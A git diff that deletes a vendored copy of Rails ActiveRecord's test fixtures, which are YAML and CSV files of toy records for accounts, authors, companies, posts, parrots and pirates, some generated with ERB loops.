diff --git a/vendor/rails/activerecord/test/fixtures/.gitignore b/vendor/rails/activerecord/test/fixtures/.gitignore
deleted file mode 100644
index 885029a5..00000000
--- a/vendor/rails/activerecord/test/fixtures/.gitignore
+++ /dev/null
@@ -1 +0,0 @@
-*.sqlite*
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/accounts.yml b/vendor/rails/activerecord/test/fixtures/accounts.yml
deleted file mode 100644
index 32583042..00000000
--- a/vendor/rails/activerecord/test/fixtures/accounts.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-signals37:
-  id: 1
-  firm_id: 1
-  credit_limit: 50
-  firm_name: 37signals
-
-unknown:
-  id: 2
-  credit_limit: 50
-
-rails_core_account:
-  id: 3
-  firm_id: 6
-  credit_limit: 50
-
-last_account:
-  id: 4
-  firm_id: 2
-  credit_limit: 60
-
-rails_core_account_2:
-  id: 5
-  firm_id: 6
-  credit_limit: 55
-
-odegy_account:
-  id: 6
-  firm_id: 9
-  credit_limit: 53
diff --git a/vendor/rails/activerecord/test/fixtures/all/developers.yml b/vendor/rails/activerecord/test/fixtures/all/developers.yml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/activerecord/test/fixtures/all/people.csv b/vendor/rails/activerecord/test/fixtures/all/people.csv
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/activerecord/test/fixtures/all/tasks.yml b/vendor/rails/activerecord/test/fixtures/all/tasks.yml
deleted file mode 100644
index e69de29b..00000000
diff --git a/vendor/rails/activerecord/test/fixtures/author_addresses.yml b/vendor/rails/activerecord/test/fixtures/author_addresses.yml
deleted file mode 100644
index 7b905721..00000000
--- a/vendor/rails/activerecord/test/fixtures/author_addresses.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-david_address:
-  id: 1
-
-david_address_extra:
-  id: 2
diff --git a/vendor/rails/activerecord/test/fixtures/author_favorites.yml b/vendor/rails/activerecord/test/fixtures/author_favorites.yml
deleted file mode 100644
index e81fdac7..00000000
--- a/vendor/rails/activerecord/test/fixtures/author_favorites.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-david_mary:
-  id: 1
-  author_id: 1
-  favorite_author_id: 2
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/authors.yml b/vendor/rails/activerecord/test/fixtures/authors.yml
deleted file mode 100644
index de2ec7d3..00000000
--- a/vendor/rails/activerecord/test/fixtures/authors.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-david:
-  id: 1
-  name: David
-  author_address_id: 1
-  author_address_extra_id: 2
-
-mary:
-  id: 2
-  name: Mary
diff --git a/vendor/rails/activerecord/test/fixtures/binaries.yml b/vendor/rails/activerecord/test/fixtures/binaries.yml
deleted file mode 100644
index d150c570..00000000
--- a/vendor/rails/activerecord/test/fixtures/binaries.yml
+++ /dev/null
@@ -1,132 +0,0 @@
-flowers:
-  id: 1
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diff --git a/vendor/rails/activerecord/test/fixtures/books.yml b/vendor/rails/activerecord/test/fixtures/books.yml
deleted file mode 100644
index 473663ff..00000000
--- a/vendor/rails/activerecord/test/fixtures/books.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-awdr:
-  id: 1
-  name: "Agile Web Development with Rails"
-
-rfr:
-  id: 2
-  name: "Ruby for Rails"
diff --git a/vendor/rails/activerecord/test/fixtures/categories.yml b/vendor/rails/activerecord/test/fixtures/categories.yml
deleted file mode 100644
index b0770a09..00000000
--- a/vendor/rails/activerecord/test/fixtures/categories.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-general:
-  id: 1
-  name: General
-  type: Category
-
-technology:
-  id: 2
-  name: Technology
-  type: Category
-
-sti_test:
-  id: 3
-  name: Special category
-  type: SpecialCategory
diff --git a/vendor/rails/activerecord/test/fixtures/categories/special_categories.yml b/vendor/rails/activerecord/test/fixtures/categories/special_categories.yml
deleted file mode 100644
index 517fc8f7..00000000
--- a/vendor/rails/activerecord/test/fixtures/categories/special_categories.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-sub_special_1:
-  id: 100
-  name: A special category in a subdir file
-  type: SpecialCategory
-
-sub_special_2:
-  id: 101
-  name: Another special category
-  type: SpecialCategory
diff --git a/vendor/rails/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml b/vendor/rails/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml
deleted file mode 100644
index 389a04a5..00000000
--- a/vendor/rails/activerecord/test/fixtures/categories/subsubdir/arbitrary_filename.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-sub_special_3:
-  id: 102
-  name: A special category in an arbitrarily named subsubdir file
-  type: SpecialCategory
diff --git a/vendor/rails/activerecord/test/fixtures/categories_ordered.yml b/vendor/rails/activerecord/test/fixtures/categories_ordered.yml
deleted file mode 100644
index 2afc6cb5..00000000
--- a/vendor/rails/activerecord/test/fixtures/categories_ordered.yml
+++ /dev/null
@@ -1,7 +0,0 @@
---- !!omap
-<% 100.times do |i| %>
-- fixture_no_<%= i %>:
-    id: <%= i %>
-    name: <%= "Category #{i}" %>
-    type: Category
-<% end %>
diff --git a/vendor/rails/activerecord/test/fixtures/categories_posts.yml b/vendor/rails/activerecord/test/fixtures/categories_posts.yml
deleted file mode 100644
index 9b67ab4f..00000000
--- a/vendor/rails/activerecord/test/fixtures/categories_posts.yml
+++ /dev/null
@@ -1,23 +0,0 @@
-general_welcome:
-  category_id: 1
-  post_id: 1
-
-technology_welcome:
-  category_id: 2
-  post_id: 1
-
-general_thinking:
-  category_id: 1
-  post_id: 2
-
-general_sti_habtm:
-  category_id: 1
-  post_id: 6
-
-sti_test_sti_habtm:
-  category_id: 3
-  post_id: 6
-
-general_hello:
-  category_id: 1
-  post_id: 4
diff --git a/vendor/rails/activerecord/test/fixtures/categorizations.yml b/vendor/rails/activerecord/test/fixtures/categorizations.yml
deleted file mode 100644
index c5b6fc9a..00000000
--- a/vendor/rails/activerecord/test/fixtures/categorizations.yml
+++ /dev/null
@@ -1,17 +0,0 @@
-david_welcome_general:
-  id: 1
-  author_id: 1
-  post_id: 1
-  category_id: 1
-
-mary_thinking_sti:
-  id: 2
-  author_id: 2
-  post_id: 2
-  category_id: 3
-
-mary_thinking_general:
-  id: 3
-  author_id: 2
-  post_id: 2
-  category_id: 1
diff --git a/vendor/rails/activerecord/test/fixtures/clubs.yml b/vendor/rails/activerecord/test/fixtures/clubs.yml
deleted file mode 100644
index 1986d282..00000000
--- a/vendor/rails/activerecord/test/fixtures/clubs.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-boring_club:
-  name: Banana appreciation society
-moustache_club:
-  name: Moustache and Eyebrow Fancier Club
-crazy_club:
-  name: Skull and bones
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/comments.yml b/vendor/rails/activerecord/test/fixtures/comments.yml
deleted file mode 100644
index 236bdb2e..00000000
--- a/vendor/rails/activerecord/test/fixtures/comments.yml
+++ /dev/null
@@ -1,59 +0,0 @@
-greetings:
-  id: 1
-  post_id: 1
-  body: Thank you for the welcome
-  type: Comment
-
-more_greetings:
-  id: 2
-  post_id: 1
-  body: Thank you again for the welcome
-  type: Comment
-  
-does_it_hurt:
-  id: 3
-  post_id: 2
-  body: Don't think too hard
-  type: SpecialComment
-
-eager_sti_on_associations_vs_comment:
-  id: 5
-  post_id: 4
-  body: Very Special type
-  type: VerySpecialComment
-
-eager_sti_on_associations_s_comment1:
-  id: 6
-  post_id: 4
-  body: Special type
-  type: SpecialComment
-
-eager_sti_on_associations_s_comment2:
-  id: 7
-  post_id: 4
-  body: Special type 2
-  type: SpecialComment
-
-eager_sti_on_associations_comment:
-  id: 8
-  post_id: 4
-  body: Normal type 
-  type: Comment
-
-check_eager_sti_on_associations:
-  id: 9
-  post_id: 5
-  body: Normal type
-  type: Comment
-
-check_eager_sti_on_associations2:
-  id: 10
-  post_id: 5
-  body: Special Type
-  type: SpecialComment
-
-eager_other_comment1:
-  id: 11
-  post_id: 7
-  body: go crazy
-  type: SpecialComment
diff --git a/vendor/rails/activerecord/test/fixtures/companies.yml b/vendor/rails/activerecord/test/fixtures/companies.yml
deleted file mode 100644
index e7691fde..00000000
--- a/vendor/rails/activerecord/test/fixtures/companies.yml
+++ /dev/null
@@ -1,56 +0,0 @@
-first_client:
-  id: 2
-  type: Client
-  firm_id: 1
-  client_of: 2
-  name: Summit
-  ruby_type: Client
-  firm_name: 37signals
-
-first_firm:
-  id: 1
-  type: Firm
-  name: 37signals
-  ruby_type: Firm
-
-second_client:
-  id: 3
-  type: Client
-  firm_id: 1
-  client_of: 1
-  name: Microsoft
-  ruby_type: Client
-
-another_firm:
-  id: 4
-  type: Firm
-  name: Flamboyant Software
-  ruby_type: Firm
-
-another_client:
-  id: 5
-  type: Client
-  firm_id: 4
-  client_of: 4
-  name: Ex Nihilo
-  ruby_type: Client
-
-rails_core:
-  id: 6          
-  name: RailsCore
-  type: DependentFirm
-  
-leetsoft:
-  id: 7 
-  name: Leetsoft
-  client_of: 6
-  
-jadedpixel:
-  id: 8 
-  name: Jadedpixel
-  client_of: 6
-
-odegy:
-  id: 9
-  name: Odegy
-  type: ExclusivelyDependentFirm
diff --git a/vendor/rails/activerecord/test/fixtures/computers.yml b/vendor/rails/activerecord/test/fixtures/computers.yml
deleted file mode 100644
index daf969d7..00000000
--- a/vendor/rails/activerecord/test/fixtures/computers.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-workstation:
-  id: 1
-  developer: 1
-  extendedWarranty: 1
diff --git a/vendor/rails/activerecord/test/fixtures/courses.yml b/vendor/rails/activerecord/test/fixtures/courses.yml
deleted file mode 100644
index 5ee19160..00000000
--- a/vendor/rails/activerecord/test/fixtures/courses.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-ruby:
-  id: 1
-  name: Ruby Development
-
-java:
-  id: 2
-  name: Java Development
diff --git a/vendor/rails/activerecord/test/fixtures/customers.yml b/vendor/rails/activerecord/test/fixtures/customers.yml
deleted file mode 100644
index 0399ff83..00000000
--- a/vendor/rails/activerecord/test/fixtures/customers.yml
+++ /dev/null
@@ -1,26 +0,0 @@
-david:
-  id: 1
-  name: David
-  balance: 50
-  address_street: Funny Street
-  address_city: Scary Town
-  address_country: Loony Land
-  gps_location: 35.544623640962634x-105.9309951055148
-
-zaphod:
-  id: 2
-  name: Zaphod
-  balance: 62
-  address_street: Avenue Road
-  address_city: Hamlet Town
-  address_country: Nation Land
-  gps_location: NULL
-
-barney:
-  id: 3
-  name: Barney Gumble
-  balance: 1
-  address_street: Quiet Road
-  address_city: Peaceful Town
-  address_country: Tranquil Land
-  gps_location: NULL
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/developers.yml b/vendor/rails/activerecord/test/fixtures/developers.yml
deleted file mode 100644
index 308bf75d..00000000
--- a/vendor/rails/activerecord/test/fixtures/developers.yml
+++ /dev/null
@@ -1,21 +0,0 @@
-david:
-  id: 1
-  name: David
-  salary: 80000
-
-jamis:
-  id: 2
-  name: Jamis
-  salary: 150000
-
-<% for digit in 3..10 %>
-dev_<%= digit %>:
-  id: <%= digit %>
-  name: fixture_<%= digit %>
-  salary: 100000
-<% end %>
-
-poor_jamis:
-  id: 11
-  name: Jamis
-  salary: 9000
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/developers_projects.yml b/vendor/rails/activerecord/test/fixtures/developers_projects.yml
deleted file mode 100644
index 57295870..00000000
--- a/vendor/rails/activerecord/test/fixtures/developers_projects.yml
+++ /dev/null
@@ -1,17 +0,0 @@
-david_action_controller:
-  developer_id: 1
-  project_id: 2
-  joined_on: 2004-10-10
-
-david_active_record:
-  developer_id: 1
-  project_id: 1
-  joined_on: 2004-10-10
-
-jamis_active_record:
-  developer_id: 2
-  project_id: 1
-
-poor_jamis_active_record:
-  developer_id: 11
-  project_id: 1
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/edges.yml b/vendor/rails/activerecord/test/fixtures/edges.yml
deleted file mode 100644
index c16c70dd..00000000
--- a/vendor/rails/activerecord/test/fixtures/edges.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-<% (1..4).each do |id| %>
-edge_<%= id %>:
-  id: <%= id %>
-  source_id: <%= id %>
-  sink_id: <%= id + 1 %>
-<% end %>
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/entrants.yml b/vendor/rails/activerecord/test/fixtures/entrants.yml
deleted file mode 100644
index 86f0108e..00000000
--- a/vendor/rails/activerecord/test/fixtures/entrants.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-first:
-  id: 1
-  course_id: 1
-  name: Ruby Developer
-
-second:
-  id: 2
-  course_id: 1
-  name: Ruby Guru
-
-third:
-  id: 3
-  course_id: 2
-  name: Java Lover
diff --git a/vendor/rails/activerecord/test/fixtures/faces.yml b/vendor/rails/activerecord/test/fixtures/faces.yml
deleted file mode 100644
index c8e4a344..00000000
--- a/vendor/rails/activerecord/test/fixtures/faces.yml
+++ /dev/null
@@ -1,11 +0,0 @@
-trusting:
-  description: trusting
-  man: gordon
-
-weather_beaten:
-  description: weather beaten
-  man: steve
-
-confused:
-  description: confused
-  polymorphic_man: gordon (Man)
diff --git a/vendor/rails/activerecord/test/fixtures/fk_test_has_fk.yml b/vendor/rails/activerecord/test/fixtures/fk_test_has_fk.yml
deleted file mode 100644
index 67d914e1..00000000
--- a/vendor/rails/activerecord/test/fixtures/fk_test_has_fk.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-first:
-  id: 1
-  fk_id: 1
diff --git a/vendor/rails/activerecord/test/fixtures/fk_test_has_pk.yml b/vendor/rails/activerecord/test/fixtures/fk_test_has_pk.yml
deleted file mode 100644
index c9395218..00000000
--- a/vendor/rails/activerecord/test/fixtures/fk_test_has_pk.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-first:
-  id: 1
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/funny_jokes.yml b/vendor/rails/activerecord/test/fixtures/funny_jokes.yml
deleted file mode 100644
index d47c4a6a..00000000
--- a/vendor/rails/activerecord/test/fixtures/funny_jokes.yml
+++ /dev/null
@@ -1,10 +0,0 @@
-a_joke:
-  id: 1
-  name: Knock knock
-
-another_joke:
-  id: 2
-  name: |
-       The \n Aristocrats
-       Ate the candy
-
diff --git a/vendor/rails/activerecord/test/fixtures/interests.yml b/vendor/rails/activerecord/test/fixtures/interests.yml
deleted file mode 100644
index 9200a19d..00000000
--- a/vendor/rails/activerecord/test/fixtures/interests.yml
+++ /dev/null
@@ -1,33 +0,0 @@
-trainspotting:
-  topic: Trainspotting
-  zine: staying_in
-  man: gordon
-
-birdwatching:
-  topic: Birdwatching
-  zine: staying_in
-  man: gordon
-
-stamp_collecting:
-  topic: Stamp Collecting
-  zine: staying_in
-  man: gordon
-
-hunting:
-  topic: Hunting
-  zine: going_out
-  man: steve
-
-woodsmanship:
-  topic: Woodsmanship
-  zine: going_out
-  man: steve
-
-survival:
-  topic: Survival
-  zine: going_out
-  man: steve
-
-llama_wrangling:
-  topic: Llama Wrangling
-  polymorphic_man: gordon (Man)
diff --git a/vendor/rails/activerecord/test/fixtures/items.yml b/vendor/rails/activerecord/test/fixtures/items.yml
deleted file mode 100644
index 31fd657d..00000000
--- a/vendor/rails/activerecord/test/fixtures/items.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-dvd:
-  id: 1
-  name: Godfather
-  
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/jobs.yml b/vendor/rails/activerecord/test/fixtures/jobs.yml
deleted file mode 100644
index f5775d27..00000000
--- a/vendor/rails/activerecord/test/fixtures/jobs.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-unicyclist:
-  id: 1
-  ideal_reference_id: 2
-clown:
-  id: 2
-magician:
-  id: 3
diff --git a/vendor/rails/activerecord/test/fixtures/legacy_things.yml b/vendor/rails/activerecord/test/fixtures/legacy_things.yml
deleted file mode 100644
index a6d42aab..00000000
--- a/vendor/rails/activerecord/test/fixtures/legacy_things.yml
+++ /dev/null
@@ -1,3 +0,0 @@
-obtuse:
-  id: 1
-  tps_report_number: 500
diff --git a/vendor/rails/activerecord/test/fixtures/mateys.yml b/vendor/rails/activerecord/test/fixtures/mateys.yml
deleted file mode 100644
index 9ecdd4ec..00000000
--- a/vendor/rails/activerecord/test/fixtures/mateys.yml
+++ /dev/null
@@ -1,4 +0,0 @@
-blackbeard_to_redbeard:
-  pirate_id: <%= Fixtures.identify(:blackbeard) %>
-  target_id: <%= Fixtures.identify(:redbeard) %>
-  weight: 10
diff --git a/vendor/rails/activerecord/test/fixtures/member_types.yml b/vendor/rails/activerecord/test/fixtures/member_types.yml
deleted file mode 100644
index 797a5743..00000000
--- a/vendor/rails/activerecord/test/fixtures/member_types.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-founding:
-  id: 1
-  name: Founding
-provisional:
-  id: 2
-  name: Provisional
diff --git a/vendor/rails/activerecord/test/fixtures/members.yml b/vendor/rails/activerecord/test/fixtures/members.yml
deleted file mode 100644
index 6db945e6..00000000
--- a/vendor/rails/activerecord/test/fixtures/members.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-groucho:
-  name: Groucho Marx
-  member_type_id: 1
-some_other_guy:
-  name: Englebert Humperdink
-  member_type_id: 2
diff --git a/vendor/rails/activerecord/test/fixtures/memberships.yml b/vendor/rails/activerecord/test/fixtures/memberships.yml
deleted file mode 100644
index 99fbe46d..00000000
--- a/vendor/rails/activerecord/test/fixtures/memberships.yml
+++ /dev/null
@@ -1,20 +0,0 @@
-membership_of_boring_club:
-  joined_on: <%= 3.weeks.ago.to_s(:db) %>
-  club: boring_club
-  member: groucho
-  favourite: false
-  type: CurrentMembership
-  
-membership_of_favourite_club:
-  joined_on: <%= 3.weeks.ago.to_s(:db) %>
-  club: moustache_club
-  member: groucho
-  favourite: true
-  type: Membership
-
-other_guys_membership:
-  joined_on: <%= 4.weeks.ago.to_s(:db) %>
-  club: boring_club
-  member: some_other_guy
-  favourite: false
-  type: CurrentMembership
diff --git a/vendor/rails/activerecord/test/fixtures/men.yml b/vendor/rails/activerecord/test/fixtures/men.yml
deleted file mode 100644
index c67429f9..00000000
--- a/vendor/rails/activerecord/test/fixtures/men.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-gordon:
-  name: Gordon
-
-steve:
-  name: Steve
diff --git a/vendor/rails/activerecord/test/fixtures/minimalistics.yml b/vendor/rails/activerecord/test/fixtures/minimalistics.yml
deleted file mode 100644
index c3ec5462..00000000
--- a/vendor/rails/activerecord/test/fixtures/minimalistics.yml
+++ /dev/null
@@ -1,2 +0,0 @@
-first:
-  id: 1
diff --git a/vendor/rails/activerecord/test/fixtures/mixed_case_monkeys.yml b/vendor/rails/activerecord/test/fixtures/mixed_case_monkeys.yml
deleted file mode 100644
index eecd448f..00000000
--- a/vendor/rails/activerecord/test/fixtures/mixed_case_monkeys.yml
+++ /dev/null
@@ -1,6 +0,0 @@
-first:
-  monkeyID: 1
-  fleaCount: 42
-second:
-  monkeyID: 2
-  fleaCount: 43
diff --git a/vendor/rails/activerecord/test/fixtures/mixins.yml b/vendor/rails/activerecord/test/fixtures/mixins.yml
deleted file mode 100644
index 0f60e92c..00000000
--- a/vendor/rails/activerecord/test/fixtures/mixins.yml
+++ /dev/null
@@ -1,29 +0,0 @@
-# Nested set mixins
-
-<% (1..10).each do |counter| %>  
-set_<%= counter %>:
-  id: <%= counter+3000 %>
-<% end %>
-
-# Big old set
-<%
-[[4001, 0, 1, 20],
-  [4002, 4001, 2, 7],
-  [4003, 4002, 3, 4],
-  [4004, 4002, 5, 6],
-  [4005, 4001, 14, 13],
-  [4006, 4005, 9, 10],
-  [4007, 4005, 11, 12],
-  [4008, 4001, 8, 19],
-  [4009, 4008, 15, 16],
-  [4010, 4008, 17, 18]].each do |set| %>
-tree_<%= set[0] %>:
-  id: <%= set[0]%>
-  parent_id: <%= set[1]%>
-  type: NestedSetWithStringScope
-  lft: <%= set[2]%>
-  rgt: <%= set[3]%>
-  root_id: 42
-
-<% end %>
-
diff --git a/vendor/rails/activerecord/test/fixtures/movies.yml b/vendor/rails/activerecord/test/fixtures/movies.yml
deleted file mode 100644
index 2e9154fd..00000000
--- a/vendor/rails/activerecord/test/fixtures/movies.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-first:
-  movieid: 1
-  name: Terminator
-
-second:
-  movieid: 2
-  name: Gladiator
diff --git a/vendor/rails/activerecord/test/fixtures/naked/csv/accounts.csv b/vendor/rails/activerecord/test/fixtures/naked/csv/accounts.csv
deleted file mode 100644
index 8b137891..00000000
--- a/vendor/rails/activerecord/test/fixtures/naked/csv/accounts.csv
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/vendor/rails/activerecord/test/fixtures/naked/yml/accounts.yml b/vendor/rails/activerecord/test/fixtures/naked/yml/accounts.yml
deleted file mode 100644
index 8b137891..00000000
--- a/vendor/rails/activerecord/test/fixtures/naked/yml/accounts.yml
+++ /dev/null
@@ -1 +0,0 @@
-
diff --git a/vendor/rails/activerecord/test/fixtures/naked/yml/companies.yml b/vendor/rails/activerecord/test/fixtures/naked/yml/companies.yml
deleted file mode 100644
index 2c151c20..00000000
--- a/vendor/rails/activerecord/test/fixtures/naked/yml/companies.yml
+++ /dev/null
@@ -1 +0,0 @@
-# i wonder what will happen here
diff --git a/vendor/rails/activerecord/test/fixtures/naked/yml/courses.yml b/vendor/rails/activerecord/test/fixtures/naked/yml/courses.yml
deleted file mode 100644
index 19f0805d..00000000
--- a/vendor/rails/activerecord/test/fixtures/naked/yml/courses.yml
+++ /dev/null
@@ -1 +0,0 @@
-qwerty
diff --git a/vendor/rails/activerecord/test/fixtures/organizations.yml b/vendor/rails/activerecord/test/fixtures/organizations.yml
deleted file mode 100644
index 25295bff..00000000
--- a/vendor/rails/activerecord/test/fixtures/organizations.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-nsa:
-  name: No Such Agency
-discordians:
-  name: Discordians
-
diff --git a/vendor/rails/activerecord/test/fixtures/owners.yml b/vendor/rails/activerecord/test/fixtures/owners.yml
deleted file mode 100644
index d5493a84..00000000
--- a/vendor/rails/activerecord/test/fixtures/owners.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-blackbeard:
-  owner_id: 1
-  name: blackbeard
-
-ashley:
-  owner_id: 2
-  name: ashley
diff --git a/vendor/rails/activerecord/test/fixtures/parrots.yml b/vendor/rails/activerecord/test/fixtures/parrots.yml
deleted file mode 100644
index 8b73b8cd..00000000
--- a/vendor/rails/activerecord/test/fixtures/parrots.yml
+++ /dev/null
@@ -1,27 +0,0 @@
-george:
-  name: "Curious George"
-  treasures: diamond, sapphire
-  parrot_sti_class: LiveParrot
-
-louis:
-  name: "King Louis"
-  treasures: [diamond, sapphire]
-  parrot_sti_class: LiveParrot
-
-frederick:
-  name: $LABEL
-  parrot_sti_class: LiveParrot
-
-polly:
-  id: 4
-  name: $LABEL
-  killer: blackbeard
-  treasures: sapphire, ruby
-  parrot_sti_class: DeadParrot
-
-DEFAULTS: &DEFAULTS
-  treasures: sapphire, ruby
-  parrot_sti_class: LiveParrot
-
-davey:
-  <<: *DEFAULTS
diff --git a/vendor/rails/activerecord/test/fixtures/parrots_pirates.yml b/vendor/rails/activerecord/test/fixtures/parrots_pirates.yml
deleted file mode 100644
index 6b17a37d..00000000
--- a/vendor/rails/activerecord/test/fixtures/parrots_pirates.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-george_blackbeard:
-  parrot_id: <%= Fixtures.identify(:george) %>
-  pirate_id: <%= Fixtures.identify(:blackbeard) %>
-
-louis_blackbeard:
-  parrot_id: <%= Fixtures.identify(:louis) %>
-  pirate_id: <%= Fixtures.identify(:blackbeard) %>
diff --git a/vendor/rails/activerecord/test/fixtures/people.yml b/vendor/rails/activerecord/test/fixtures/people.yml
deleted file mode 100644
index 3babb1fe..00000000
--- a/vendor/rails/activerecord/test/fixtures/people.yml
+++ /dev/null
@@ -1,15 +0,0 @@
-michael:
-  id: 1
-  first_name: Michael
-  primary_contact_id: 2
-  gender: M
-david:
-  id: 2
-  first_name: David
-  primary_contact_id: 3
-  gender: M
-susan:
-  id: 3
-  first_name: Susan
-  primary_contact_id: 2
-  gender: F
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/pets.yml b/vendor/rails/activerecord/test/fixtures/pets.yml
deleted file mode 100644
index a1601a53..00000000
--- a/vendor/rails/activerecord/test/fixtures/pets.yml
+++ /dev/null
@@ -1,14 +0,0 @@
-parrot:
-  pet_id: 1
-  name: parrot
-  owner_id: 1
-
-chew:
-  pet_id: 2
-  name: chew
-  owner_id: 2
-
-mochi:
-  pet_id: 3
-  name: mochi
-  owner_id: 2
diff --git a/vendor/rails/activerecord/test/fixtures/pirates.yml b/vendor/rails/activerecord/test/fixtures/pirates.yml
deleted file mode 100644
index abb91101..00000000
--- a/vendor/rails/activerecord/test/fixtures/pirates.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-blackbeard:
-  catchphrase: "Yar."
-  parrot: george
-
-redbeard:
-  catchphrase: "Avast!"
-  parrot: louis
-  created_on: <%= 2.weeks.ago.to_s(:db) %>
-  updated_on: <%= 2.weeks.ago.to_s(:db) %>
diff --git a/vendor/rails/activerecord/test/fixtures/polymorphic_designs.yml b/vendor/rails/activerecord/test/fixtures/polymorphic_designs.yml
deleted file mode 100644
index ebc481f3..00000000
--- a/vendor/rails/activerecord/test/fixtures/polymorphic_designs.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-awesome_tee_design:
-  id: 1
-  designable_id: 1
-  designable_type: Tee
-
-sucky_tee_design:
-  id: 2
-  designable_id: 2
-  designable_type: Tee
-
-awesome_hat_design:
-  id: 3
-  designable_id: 1
-  designable_type: Tie
-
-sucky_hat_design:
-  id: 4
-  designable_id: 2
-  designable_type: Tie
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/polymorphic_prices.yml b/vendor/rails/activerecord/test/fixtures/polymorphic_prices.yml
deleted file mode 100644
index 3aca5fac..00000000
--- a/vendor/rails/activerecord/test/fixtures/polymorphic_prices.yml
+++ /dev/null
@@ -1,19 +0,0 @@
-awesome_tee_price:
-  id: 1
-  sellable_id: 1
-  sellable_type: Tee
-
-sucky_tee_price:
-  id: 2
-  sellable_id: 2
-  sellable_type: Tee
-
-awesome_hat_price:
-  id: 3
-  sellable_id: 1
-  sellable_type: Tie
-
-sucky_hat_price:
-  id: 4
-  sellable_id: 2
-  sellable_type: Tie
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/posts.yml b/vendor/rails/activerecord/test/fixtures/posts.yml
deleted file mode 100644
index f8174931..00000000
--- a/vendor/rails/activerecord/test/fixtures/posts.yml
+++ /dev/null
@@ -1,52 +0,0 @@
-welcome:
-  id: 1
-  author_id: 1
-  title: Welcome to the weblog
-  body: Such a lovely day
-  comments_count: 2
-  taggings_count: 1
-  type: Post
-
-thinking:
-  id: 2
-  author_id: 1
-  title: So I was thinking
-  body: Like I hopefully always am
-  comments_count: 1
-  taggings_count: 1
-  type: SpecialPost
-
-authorless:
-  id: 3
-  author_id: 0
-  title: I don't have any comments
-  body: I just don't want to
-  type: Post
-
-sti_comments:
-  id: 4
-  author_id: 1
-  title: sti comments
-  body: hello
-  type: Post
-
-sti_post_and_comments:
-  id: 5
-  author_id: 1
-  title: sti me
-  body: hello
-  type: StiPost
-
-sti_habtm:
-  id: 6
-  author_id: 1
-  title: habtm sti test
-  body: hello
-  type: Post
-
-eager_other:
-  id: 7
-  author_id: 2
-  title: eager loading with OR'd conditions
-  body: hello
-  type: Post
diff --git a/vendor/rails/activerecord/test/fixtures/price_estimates.yml b/vendor/rails/activerecord/test/fixtures/price_estimates.yml
deleted file mode 100644
index 1149ab17..00000000
--- a/vendor/rails/activerecord/test/fixtures/price_estimates.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-saphire_1:
-  price: 10
-  estimate_of: sapphire (Treasure)
-
-sapphire_2:
-  price: 20
-  estimate_of: sapphire (Treasure)
diff --git a/vendor/rails/activerecord/test/fixtures/projects.yml b/vendor/rails/activerecord/test/fixtures/projects.yml
deleted file mode 100644
index 02800c78..00000000
--- a/vendor/rails/activerecord/test/fixtures/projects.yml
+++ /dev/null
@@ -1,7 +0,0 @@
-action_controller:
-  id: 2
-  name: Active Controller
-
-active_record:
-  id: 1
-  name: Active Record
diff --git a/vendor/rails/activerecord/test/fixtures/readers.yml b/vendor/rails/activerecord/test/fixtures/readers.yml
deleted file mode 100644
index 8a607665..00000000
--- a/vendor/rails/activerecord/test/fixtures/readers.yml
+++ /dev/null
@@ -1,9 +0,0 @@
-michael_welcome:
-  id: 1
-  post_id: 1
-  person_id: 1
-
-michael_authorless:
-  id: 2
-  post_id: 3
-  person_id: 1
\ No newline at end of file
diff --git a/vendor/rails/activerecord/test/fixtures/references.yml b/vendor/rails/activerecord/test/fixtures/references.yml
deleted file mode 100644
index 8e3953e9..00000000
--- a/vendor/rails/activerecord/test/fixtures/references.yml
+++ /dev/null
@@ -1,17 +0,0 @@
-michael_magician:
-  id: 1
-  person_id: 1
-  job_id: 3
-  favourite: false
-
-michael_unicyclist:
-  id: 2
-  person_id: 1
-  job_id: 1
-  favourite: true
-
-david_unicyclist:
-  id: 3
-  person_id: 2
-  job_id: 1
-  favourite: false
diff --git a/vendor/rails/activerecord/test/fixtures/reserved_words/distinct.yml b/vendor/rails/activerecord/test/fixtures/reserved_words/distinct.yml
deleted file mode 100644
index 0988f89c..00000000
--- a/vendor/rails/activerecord/test/fixtures/reserved_words/distinct.yml
+++ /dev/null
@@ -1,5 +0,0 @@
-distinct1:
-  id: 1
-
-distinct2:
-  id: 2
